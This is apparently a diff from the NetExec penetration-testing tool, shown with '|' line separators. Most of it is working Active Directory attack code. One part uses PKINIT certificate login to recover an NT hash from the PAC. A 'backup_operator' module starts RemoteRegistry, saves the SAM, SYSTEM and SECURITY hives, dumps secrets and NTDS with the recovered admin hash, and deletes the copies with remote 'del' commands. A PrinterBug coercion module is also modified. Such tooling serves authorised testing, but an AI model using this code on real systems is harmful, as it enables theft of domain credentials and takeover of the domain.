spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
|
||||
spki["public_key"] = self.diffie.get_public_key()
|
||||
|
||||
authpack = {}
|
||||
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
|
||||
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
|
||||
authpack["clientDHNonce"] = self.diffie.dh_nonce
|
||||
|
||||
authpack = AuthPack(authpack)
|
||||
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
|
||||
|
||||
payload = PA_PK_AS_REQ()
|
||||
payload["signedAuthPack"] = signed_authpack
|
||||
|
||||
pa_data_1 = {}
|
||||
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
|
||||
pa_data_1["padata-value"] = payload.dump()
|
||||
|
||||
pa_data_0 = {}
|
||||
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
|
||||
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
|
||||
|
||||
asreq = {}
|
||||
asreq["pvno"] = 5
|
||||
asreq["msg-type"] = 10
|
||||
asreq["padata"] = [pa_data_0, pa_data_1]
|
||||
asreq["req-body"] = kdc_req_body
|
||||
|
||||
return AS_REQ(asreq).dump()
|
||||
|
||||
def sign_authpack_native(self, data, wrap_signed=False):
|
||||
"""
|
||||
Creating PKCS7 blob which contains the following things:
|
||||
|
||||
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
|
||||
2. the certificate used to sign the data blob
|
||||
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
|
||||
"""
|
||||
da = {}
|
||||
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
|
||||
|
||||
si = {}
|
||||
si["version"] = "v1"
|
||||
si["sid"] = cms.IssuerAndSerialNumber({
|
||||
"issuer": self.certificate.issuer,
|
||||
"serial_number": self.certificate.serial_number,
|
||||
})
|
||||
|
||||
si["digest_algorithm"] = algos.DigestAlgorithm(da)
|
||||
si["signed_attrs"] = [
|
||||
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
|
||||
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
|
||||
]
|
||||
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
|
||||
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
|
||||
|
||||
ec = {}
|
||||
ec["content_type"] = "1.3.6.1.5.2.3.1"
|
||||
ec["content"] = data
|
||||
|
||||
sd = {}
|
||||
sd["version"] = "v3"
|
||||
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
|
||||
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
|
||||
sd["certificates"] = [self.certificate]
|
||||
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
|
||||
|
||||
if wrap_signed is True:
|
||||
ci = {}
|
||||
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
|
||||
ci["content"] = cms.SignedData(sd)
|
||||
return cms.ContentInfo(ci).dump()
|
||||
|
||||
return cms.SignedData(sd).dump()
|
||||
|
||||
def decrypt_asrep(self, as_rep):
|
||||
def truncate_key(value, keysize):
|
||||
output = b""
|
||||
currentNum = 0
|
||||
while len(output) < keysize:
|
||||
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
|
||||
if len(output) + len(currentDigest) > keysize:
|
||||
output += currentDigest[:keysize - len(output)]
|
||||
break
|
||||
output += currentDigest
|
||||
currentNum += 1
|
||||
|
||||
return output
|
||||
|
||||
for pa in as_rep["padata"]:
|
||||
if pa["padata-type"] == 17:
|
||||
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
|
||||
break
|
||||
else:
|
||||
raise Exception("PA_PK_AS_REP not found!")
|
||||
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
|
||||
sd = ci["content"]
|
||||
keyinfo = sd["encap_content_info"]
|
||||
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
|
||||
raise Exception("Keyinfo content type unexpected value")
|
||||
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
|
||||
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
|
||||
|
||||
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
|
||||
shared_key = self.diffie.exchange(pubkey)
|
||||
|
||||
server_nonce = pkasrep["serverDHNonce"]
|
||||
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
|
||||
|
||||
etype = as_rep["enc-part"]["etype"]
|
||||
cipher = _enctype_table[etype]
|
||||
if etype == Enctype.AES256:
|
||||
t_key = truncate_key(fullKey, 32)
|
||||
elif etype == Enctype.AES128:
|
||||
t_key = truncate_key(fullKey, 16)
|
||||
elif etype == Enctype.RC4:
|
||||
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
|
||||
|
||||
key = Key(cipher.enctype, t_key)
|
||||
enc_data = as_rep["enc-part"]["cipher"]
|
||||
logging.info("AS-REP encryption key (you might need this later):")
|
||||
logging.info(hexlify(t_key).decode("utf-8"))
|
||||
dec_data = cipher.decrypt(key, 3, enc_data)
|
||||
encasrep = EncASRepPart.load(dec_data).native
|
||||
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
|
||||
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
|
||||
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
|
||||
|
||||
|
||||
class GETPAC:
|
||||
|
||||
def printPac(self, data, key=None):
|
||||
nthash = None
|
||||
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
|
||||
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
|
||||
0]
|
||||
# So here we have the PAC
|
||||
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
|
||||
buff = pacType["Buffers"]
|
||||
found = False
|
||||
for _bufferN in range(pacType["cBuffers"]):
|
||||
infoBuffer = PAC_INFO_BUFFER(buff)
|
||||
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
print("TYPE 0x%x" % infoBuffer["ulType"])
|
||||
if infoBuffer["ulType"] == 2:
|
||||
found = True
|
||||
credinfo = PAC_CREDENTIAL_INFO(data)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
credinfo.dump()
|
||||
newCipher = _enctype_table[credinfo["EncryptionType"]]
|
||||
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
|
||||
type1 = TypeSerialization1(out)
|
||||
# I'm skipping here 4 bytes with its the ReferentID for the pointer
|
||||
newdata = out[len(type1) + 4:]
|
||||
pcc = PAC_CREDENTIAL_DATA(newdata)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
pcc.dump()
|
||||
for cred in pcc["Credentials"]:
|
||||
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
credstruct.dump()
|
||||
|
||||
logging.info("Recovered NT Hash")
|
||||
logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
|
||||
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
|
||||
|
||||
buff = buff[len(infoBuffer):]
|
||||
|
||||
if not found:
|
||||
logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
|
||||
return nthash
|
||||
|
||||
def __init__(self, username, domain, kdcHost, key, tgt):
|
||||
self.__username = username
|
||||
self.__domain = domain.upper()
|
||||
self.__kdcHost = kdcHost
|
||||
self.__asrep_key = key
|
||||
self.__tgt = tgt["KDC_REP"]
|
||||
self.__cipher = tgt["cipher"]
|
||||
self.__sessionKey = tgt["sessionKey"]
|
||||
|
||||
def dump(self):
|
||||
# Try all requested protocols until one works.
|
||||
tgt = self.__tgt
|
||||
cipher = self.__cipher
|
||||
sessionKey = self.__sessionKey
|
||||
|
||||
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
|
||||
# Extract the ticket from the TGT
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decodedTGT["ticket"])
|
||||
|
||||
apReq = AP_REQ()
|
||||
apReq["pvno"] = 5
|
||||
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = []
|
||||
apReq["ap-options"] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, "ticket", ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = str(decodedTGT["crealm"])
|
||||
|
||||
clientName = Principal()
|
||||
clientName.from_asn1(decodedTGT, "crealm", "cname")
|
||||
|
||||
seq_set(authenticator, "cname", clientName.components_to_asn1)
|
||||
|
||||
now = datetime.datetime.utcnow()
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("AUTHENTICATOR")
|
||||
print(authenticator.prettyPrint())
|
||||
print("\n")
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 7
|
||||
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
|
||||
# TGS authenticator subkey), encrypted with the TGS session
|
||||
# key (Section 5.5.1)
|
||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
||||
|
||||
apReq["authenticator"] = noValue
|
||||
apReq["authenticator"]["etype"] = cipher.enctype
|
||||
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
|
||||
|
||||
encodedApReq = encoder.encode(apReq)
|
||||
|
||||
tgsReq = TGS_REQ()
|
||||
|
||||
tgsReq["pvno"] = 5
|
||||
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
|
||||
tgsReq["padata"] = noValue
|
||||
tgsReq["padata"][0] = noValue
|
||||
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgsReq["padata"][0]["padata-value"] = encodedApReq
|
||||
|
||||
reqBody = seq_set(tgsReq, "req-body")
|
||||
|
||||
opts = []
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
|
||||
|
||||
reqBody["kdc-options"] = constants.encodeFlags(opts)
|
||||
|
||||
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||
|
||||
seq_set(reqBody, "sname", serverName.components_to_asn1)
|
||||
reqBody["realm"] = str(decodedTGT["crealm"])
|
||||
|
||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||
|
||||
reqBody["till"] = KerberosTime.to_asn1(now)
|
||||
reqBody["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(reqBody, "etype",
|
||||
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
|
||||
myTicket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("Final TGS")
|
||||
print(tgsReq.prettyPrint())
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("Final TGS")
|
||||
print(tgsReq.prettyPrint())
|
||||
|
||||
message = encoder.encode(tgsReq)
|
||||
logging.info("Requesting ticket to self with PAC")
|
||||
|
||||
r = sendReceive(message, self.__domain, self.__kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("TGS_REP")
|
||||
print(tgs.prettyPrint())
|
||||
|
||||
cipherText = tgs["ticket"]["enc-part"]["cipher"]
|
||||
|
||||
# Key Usage 2
|
||||
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
|
||||
# application session key), encrypted with the service key
|
||||
# (section 5.4.2)
|
||||
|
||||
# S4USelf + U2U uses this other key
|
||||
plainText = cipher.decrypt(sessionKey, 2, cipherText)
|
||||
specialkey = Key(18, unhexlify(self.__asrep_key))
|
||||
return self.printPac(plainText, specialkey)
|
||||
|
||||
|
||||
def pfx_auth(self):
|
||||
"""Handles the authentication using a PFX or PEM file"""
|
||||
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
|
||||
dhparams = {
|
||||
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
|
||||
"g": 2
|
||||
}
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
|
||||
# Load the certificate and key from file
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
|
||||
username = self.args.username[0]
|
||||
log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-"))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
self.logger.info("Requesting TGT")
|
||||
|
||||
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
|
||||
try:
|
||||
res = sock.sendrecv(req)
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return False
|
||||
|
||||
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
|
||||
ccache_minikerberos = CCACHE()
|
||||
ccache_minikerberos.add_tgt(res.native, encasrep)
|
||||
ccache_minikerberos.to_file(log_ccache)
|
||||
self.logger.info(f"Saved TGT to file {log_ccache}")
|
||||
self.logger.info(f"Using Kerberos Cache {log_ccache}")
|
||||
ccache = impacket_CCache.loadFile(log_ccache)
|
||||
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
|
||||
creds = ccache.getCredential(principal)
|
||||
if creds is not None:
|
||||
tgt = creds.toTGT()
|
||||
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
|
||||
nthash = dumper.dump()
|
||||
if not self.kerberos:
|
||||
self.hash_login(self.domain, username, nthash)
|
||||
else:
|
||||
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
|
||||
|
||||
self.logger.info("Successfully authenticated using Certificate")
|
||||
return True
|
||||
+14
-25
@@ -3,7 +3,6 @@ from logging import LogRecord
|
||||
from logging.handlers import RotatingFileHandler
|
||||
import os.path
|
||||
import sys
|
||||
import re
|
||||
from nxc.console import nxc_console
|
||||
from nxc.paths import NXC_PATH
|
||||
from termcolor import colored
|
||||
@@ -22,10 +21,11 @@ def parse_debug_args():
|
||||
args, _ = debug_parser.parse_known_args()
|
||||
return args
|
||||
|
||||
|
||||
def setup_debug_logging():
|
||||
debug_args = parse_debug_args()
|
||||
root_logger = logging.getLogger("root")
|
||||
|
||||
|
||||
if debug_args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
@@ -35,34 +35,33 @@ def setup_debug_logging():
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
|
||||
|
||||
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
|
||||
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
|
||||
temp_logger = logging.getLogger("temp")
|
||||
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
|
||||
handler = SmartDebugRichHandler(formatter=formatter)
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
|
||||
|
||||
|
||||
class SmartDebugRichHandler(RichHandler):
|
||||
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
|
||||
|
||||
def __init__(self, formatter=None, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
if formatter is not None:
|
||||
self.setFormatter(formatter)
|
||||
|
||||
|
||||
def emit(self, record):
|
||||
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
|
||||
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
|
||||
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
|
||||
|
||||
if hasattr(record, "caller_frame"):
|
||||
frame_info = inspect.getframeinfo(record.caller_frame)
|
||||
record.pathname = frame_info.filename
|
||||
record.lineno = frame_info.lineno
|
||||
super().emit(record)
|
||||
|
||||
|
||||
def no_debug(func):
|
||||
"""Stops logging non-debug messages when we are in debug mode
|
||||
It creates a temporary logger and logs the message to the console and file
|
||||
@@ -72,7 +71,7 @@ def no_debug(func):
|
||||
def wrapper(self, msg, *args, **kwargs):
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
return func(self, msg, *args, **kwargs)
|
||||
else:
|
||||
else:
|
||||
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
|
||||
caller_frame = inspect.currentframe().f_back
|
||||
create_temp_logger(caller_frame, formatted_text, args, kwargs)
|
||||
@@ -81,7 +80,7 @@ def no_debug(func):
|
||||
|
||||
|
||||
class NXCAdapter(logging.LoggerAdapter):
|
||||
def __init__(self, extra=None):
|
||||
def __init__(self, extra=None, merge_extra=False):
|
||||
logging.basicConfig(
|
||||
format="%(message)s",
|
||||
datefmt="[%X]",
|
||||
@@ -90,11 +89,13 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False
|
||||
)],
|
||||
encoding="utf-8"
|
||||
)
|
||||
self.logger = logging.getLogger("nxc")
|
||||
self.extra = extra
|
||||
self.merge_extra = merge_extra
|
||||
self.output_file = None
|
||||
|
||||
|
||||
logging.getLogger("impacket").disabled = True
|
||||
logging.getLogger("pypykatz").disabled = True
|
||||
logging.getLogger("minidump").disabled = True
|
||||
@@ -173,7 +174,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
|
||||
def add_file_log(self, log_file=None):
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
output_file = self.init_log_file() if log_file is None else log_file
|
||||
file_creation = False
|
||||
|
||||
@@ -181,7 +182,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
file_creation = True
|
||||
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
|
||||
|
||||
with file_handler._open() as f:
|
||||
if file_creation:
|
||||
@@ -203,18 +204,6 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
datetime.now().strftime("%Y-%m-%d"),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
)
|
||||
|
||||
|
||||
class TermEscapeCodeFormatter(logging.Formatter):
|
||||
"""A class to strip the escape codes for logging to files"""
|
||||
|
||||
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
|
||||
super().__init__(fmt, datefmt, style, validate)
|
||||
|
||||
def format(self, record): # noqa: A003
|
||||
escape_re = re.compile(r"\x1b\[[0-9;]*m")
|
||||
record.msg = re.sub(escape_re, "", str(record.msg))
|
||||
return super().format(record)
|
||||
|
||||
|
||||
# initialize the logger for all of nxc - this is imported everywhere
|
||||
|
||||
+3
-3
@@ -49,10 +49,10 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
sc = ldap.SimplePagedResultsControl()
|
||||
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
|
||||
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
|
||||
|
||||
if self.server is None:
|
||||
connection.ldapConnection.search(
|
||||
connection.ldap_connection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=[],
|
||||
sizeLimit=0,
|
||||
@@ -61,7 +61,7 @@ class NXCModule:
|
||||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
else:
|
||||
connection.ldapConnection.search(
|
||||
connection.ldap_connection.search(
|
||||
searchFilter=search_filter + base_dn_root + ")",
|
||||
attributes=["certificateTemplates"],
|
||||
sizeLimit=0,
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
import time
|
||||
import os
|
||||
import datetime
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
class NXCModule:
|
||||
name = "backup_operator"
|
||||
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.domain_admin = None
|
||||
self.domain_admin_hash = None
|
||||
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.args.share = "SYSVOL"
|
||||
# enable remote registry
|
||||
context.log.display("Triggering RemoteRegistry to start through named pipe...")
|
||||
self.trigger_winreg(connection.conn, context)
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
|
||||
try:
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
|
||||
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
|
||||
context.log.highlight(f"Saved {hive} to {outputFileName}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(str(e))
|
||||
finally:
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.get_file_single(hive, log_path + hive)
|
||||
|
||||
# read local file
|
||||
try:
|
||||
def parse_sam(secret):
|
||||
context.log.highlight(secret)
|
||||
if not self.domain_admin:
|
||||
first_line = secret.strip().splitlines()[0]
|
||||
fields = first_line.split(":")
|
||||
self.domain_admin = fields[0]
|
||||
self.domain_admin_hash = fields[3]
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
|
||||
sam_hashes.dump()
|
||||
sam_hashes.finish()
|
||||
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
|
||||
|
||||
if self.domain_admin:
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
|
||||
try:
|
||||
context.log.display("Dumping NTDS...")
|
||||
connection.ntds()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS: {e!s}")
|
||||
|
||||
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
|
||||
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
try:
|
||||
out = connection.conn.listPath("SYSVOL", hive)
|
||||
if out:
|
||||
self.deleted_files = False
|
||||
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
|
||||
except SessionError as e:
|
||||
context.log.debug(f"File {hive} successfully removed: {e}")
|
||||
else:
|
||||
self.deleted_files = False
|
||||
else:
|
||||
self.deleted_files = False
|
||||
|
||||
if not self.deleted_files:
|
||||
context.log.display("Use the domain admin account to clean the file on the remote host")
|
||||
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
|
||||
else:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
|
||||
def trigger_winreg(self, connection, context):
|
||||
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
|
||||
# Basically triggers the RemoteRegistry to start without admin privs
|
||||
tid = connection.connectTree("IPC$")
|
||||
try:
|
||||
connection.openFile(
|
||||
tid,
|
||||
r"\winreg",
|
||||
0x12019F,
|
||||
creationOption=0x40,
|
||||
fileAttributes=0x80,
|
||||
)
|
||||
except SessionError as e:
|
||||
# STATUS_PIPE_NOT_AVAILABLE error is expected
|
||||
context.log.debug(str(e))
|
||||
# Give remote registry time to start
|
||||
time.sleep(1)
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
key_name.split("\\")[0]
|
||||
sub_key = "\\".join(key_name.split("\\")[1:])
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
h_root_key = ans["phKey"]
|
||||
return h_root_key, sub_key
|
||||
+66
-27
@@ -1,4 +1,5 @@
|
||||
from impacket.dcerpc.v5 import transport, rprn, even
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
||||
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
@@ -146,32 +147,36 @@ class NXCModule:
|
||||
if self.method == "all" or self.method[:2] == "pr": # PrinterBug
|
||||
runmethod = True
|
||||
""" PRINTERBUG START """
|
||||
try:
|
||||
printerbugclass = PrinterBugTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
printerbugconnect = printerbugclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
